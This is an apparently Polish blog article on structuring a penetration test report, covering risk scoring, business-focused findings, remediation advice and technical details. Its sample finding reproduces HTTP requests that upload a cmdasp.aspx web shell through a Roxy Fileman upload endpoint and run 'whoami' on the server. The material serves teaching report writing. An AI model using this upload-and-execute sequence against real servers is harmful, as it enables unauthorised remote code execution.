Jak powinien wyglądać dobry raport z testu penetracyjnego?

Doświadczony pentester, wie że dobrze napisany raport cechuję się tym, że po jego prezentacji klient nie ma żadnych dodatkowych pytań. Aby było to możliwe powinien on zawierać co najmniej cztery podstawowe sekcje z informacjami przeznaczonymi dla różnej grupy odbiorców.

Sekcja 1: Ogólne informacje i statystyki

Podczas, gdy programista mający naprawić błędy może potrzebować wszystkich szczegółów technicznych, kierownictwo może nie rozumieć użytych technologii i specjalistycznego słownictwa. Muszą oni natomiast rozumieć ryzyko biznesowe. Konieczne jest, aby liderzy biznesu zrozumieli, o co toczy się gra, aby podejmować świadome decyzje dla swoich firm. Streszczenie w przystępny sposób informacji zawartych w całym raporcie jest niezbędne, aby zapewnić poprawne zrozumienie istniejących zagrożeń. Poza tym w pierwszej sekcji powinny znaleźć się informacje formalne, tzn. informacje o tym, co było testowane i z jakimi uprawnieniami, kiedy było testowane, kto brał udział w testach, na czyje zlecenie były przeprowadzane testy. Na rysunku poniżej przedstawiono przykładową tabele z tymi informacjami.

Komunikacja wizualna może być również pomocna w wyraźnym przekazaniu wykrytych błędów bezpieczeństwa. Należy używać wszelkiego rodzaju wykresów i podobnych elementów graficznych pomagających w wizualizacji danych zbiorczych.

Przy ocenie ryzyka należy kierować się wzorem:

ryzyko = zagrożenie * prawdopodobieństwo wystąpienia * wpływ na biznes.

Gdzie  przez zagrożenie rozumie się ogólne ryzyko związane z daną podatnością. Prawdopodobieństwo wystąpienia oznacza jak ciężko jest wykorzystać dany błąd bezpieczeństwa. Wpływ na biznes określa z jakimi stratami wiąże się wykorzystanie danego błędu przez atakującego. Na poniższej grafice przedstawiono tabelę przydatną w dokonywaniu oceny ryzyka danych podatności. Przykładowo, jeżeli zagrożenie (threat) jest wysokie – High, a podatność jest bardzo łatwa w wykorzystaniu (vulnerability) – C i wpływ na biznes (impact) jest średnie – Medium, otrzymujemy sumarycznie 24 punkty co oznacza, że dana podatność posiada średnie ryzyko. Kolejny rysunek przedstawia zaś sposób wizualizacji ilości wykrytych podatności.

Na podstawie dokonanej oceny ryzyka odbiorca raportu powinien w pierwszej kolejności naprawić błędy o najwyższej krytyczności. Stanowią one największe zagrożenie dla biznesu i mogą wiązać się z wysokimi stratami finansowymi.

Sekcja 2: Opis wykrytych podatności

W większości raportów z testów penetracyjnych używa się pewnego rodzaju systemu oceny ryzyka, ale rzadko poświęca się czas na wyjaśnienie na czym ryzyko powiązane z daną podatnością polega. Klient musi podejmować szybkie i trafne decyzje, jakie kroki podjąć po uzyskaniu informacji o istniejących błędach bezpieczeństwa. Często wiąże się to z zapotrzebowaniem na dodatkowy budżet, który wymaga zatwierdzenia od osób nietechnicznych zajmujących wysokie stanowiska.

Aby ułatwić podejmowanie trudnych decyzji należy opisywać wykryte podatności w sposób pokazujący wpływ na biznes. Na przykład, jeśli wykryta zostanie krytyczna luka umożliwiająca przesyłanie dowolnych plików do portalu zajmującego się opieką zdrowotną istnieją dwa sposoby jej zgłoszenia:

• Dokładne pod względem technicznym – aplikacja internetowa firmy X nie ogranicza przesyłania plików według typu, stwarzając lukę, która umożliwia osobie atakującej zdalne wykonanie kodu i podniesienie poziomu jego przywilejów w aplikacji.
• Zarówno dokładne, jak i kontekstowe – aplikacja internetowa firmy X nie ogranicza przesyłania plików według typu pliku, co stwarza lukę, która umożliwia osobie atakującej zdalne wykonanie niepożądanego kodu i podniesienie poziomu jego przywilejów w aplikacji. W tym przypadku osoba atakująca może wyświetlać dokumentację medyczną dowolnego użytkownika i działać jako administrator w aplikacji.

Drugi sposób ma większą wagę, wskazując nie tylko na aspekty techniczne, ale również na wpływ na biznes. Najcenniejsze raporty to te, które przemawiają do wszystkich odbiorców w języku, który rozumieją osoby zwłaszcza na stanowiskach kierowniczych.

Sekcja 3: Rekomendacje dotyczące naprawy

Jedną z najważniejszych rzeczy na jakiej zależy klientowi zlecającemu wykonanie testów penetracyjnych jest późniejsza naprawa wykrytych luk bezpieczeństwa. Aby było to możliwe oczekuje się, że tester penetracyjny oprócz opisania wykrytych podatności wskaże też sposób naprawy lub mitygacji ryzyk związanych z wykrytymi błędami. Sekcja ta jest przeznaczona głównie dla ludzi o wykształceniu technicznym, zajmujących się bezpośrednio kodem aplikacji, konfiguracją serwera lub bazy danych. Pomocne jest tutaj dodanie dodatkowych odnośników do zewnętrznych źródeł opisujących sposoby naprawy znalezionych błędów bezpieczeństwa. Na poniższym rysunku zaprezentowany został błąd polegający na wyświetlaniu szczegółowych wrażliwych informacji. Dane te zawierają często informacje techniczne, klasy, metody, które wywołały błąd, dokładną wersję serwera czy ścieżki systemowe aplikacji i plików konfiguracyjnych.

Poniżej został przedstawiona przykładowa rekomendacja dotycząca błędu polegającego na wyświetlaniu szczegółowych informacji o błędzie.

Sekcja 4: Szczegóły techniczne podatności

Ostatnia sekcja powinna zawierać techniczne szczegóły odnalezionych podatności. Jest ona szczególnie przydatna programistom w zrozumieniu na czym polega dany błąd oraz jak zrekonstruować kroki potrzebne do jego wykonania. Przydaje się to szczególnie w przypadku potrzeby zlokalizowania źródła problemu oraz późniejszej weryfikacji, czy sposób naprawy jest skuteczny.

Poniżej zaprezentowany został przykładowy szczegółowy opis techniczny podatności polegającej na możliwości wgrywania dowolnych plików na serwer.

Na serwerze pod adresem serwer/Content/Roxy_Fileman/ znajduje przeglądarka plików umożliwiająca zalogowanym użytkownikom z odpowiednimi uprawnieniami (przetestowane konto administratora) także ich wgranie (w tym skryptów wykonujących komendy na systemie):

Żądanie z wgraniem na serwer skryptu wykonującego komendy na systemie:

POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://XXXXX/Content/Roxy_Fileman/
Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69; XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=---------------------------13949612691104534433104770617
Content-Length: 1861
-----------------------------13949612691104534433104770617
Content-Disposition: form-data; name="action"
upload
-----------------------------13949612691104534433104770617
Content-Disposition: form-data; name="d"
-----------------------------13949612691104534433104770617
Content-Disposition: form-data; name="files[]"; filename="cmdasp.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>


Odpowiedź serwera z odpowiedzią o udanym wgraniu skryptu:

POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNetMvc-Version: 5.1
X-AspNet-Version: 4.0.30319
Set-Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69; expires=Fri, 09-Nov-2018 16:53:07 GMT; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Thu, 09 Nov 2017 16:53:07 GMT
Connection: close
Content-Length: 60



Do wgranego zasobu można odwołać się bez autoryzacji pod adresem serwer/media/uploaded/nazwapliku

Żądanie do serwera z komendą do wykonania – whoami wyświetlającego aktualnego użytkownika systemu:

POST /media/uploaded/cmdasp.aspx HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://XXXXX/media/uploaded/cmdasp.aspx
Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69;
XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 290
[...]
EVENTVALIDATION=%2FwEdAANRWJmrTmf23QBZNDbQYsx5itssAmaVIY7AayhB9duwcnk2J
DuMxrvKtMBUSvskgfELwWmgNGW8Lr4a8NezI%2FkHrIsB
%2FLodYxPpo9ud%2FbHu4w%3D%3D&txtArg=whoami&testing=excute

Odpowiedź serwera potwierdzająca wykonanie komendy:

Mechanizm umożliwiający upload plików zidentyfikowano pod poniższymi adresami:

• /Admin/Invoice/InvoiceEdit
• /Admin/Invoice/InvoiceItemList
• /Admin/Newsletter/GroupSubscriptionsList
• /Admin/Newsletter/SubscriptionList
• /Content/Roxy_Fileman/index.html

Nigdy nie uda się całkowicie wyeliminować błędów bezpieczeństwa. Pojawiają się zarówno w produktach Microsoftu, mimo wdrożenia procesu Security Development Lifecycle (którego częścią są różnego rodzaju testy bezpieczeństwa oraz audyt kodu źródłowego), jak i w jądrze Linuksa.  Można je znaleźć zarówno w projektach z otwartymi źródłami, jak i w tych w których kod jest zamknięty. Ważnym zaznaczenia jest to, że brak wykrycia podatności podczas przeprowadzania testów penetracyjnych nie jest jednoznaczne z tym że się tam nie znajdują. Oznacza to jedynie tyle, że w limitowanym czasie i przy użyciu określonych środków, wiedzy oraz doświadczenia, pentesterowi nie udało się ich znaleźć. Niemniej jednak przypatrując się wynikom testów penetracyjnych można wyciągnąć wnioski dotyczące jakości aplikacji, czy co ważniejsze w przypadku odnalezionych błędów dowiedzieć się z jakimi ryzykami się one wiążą.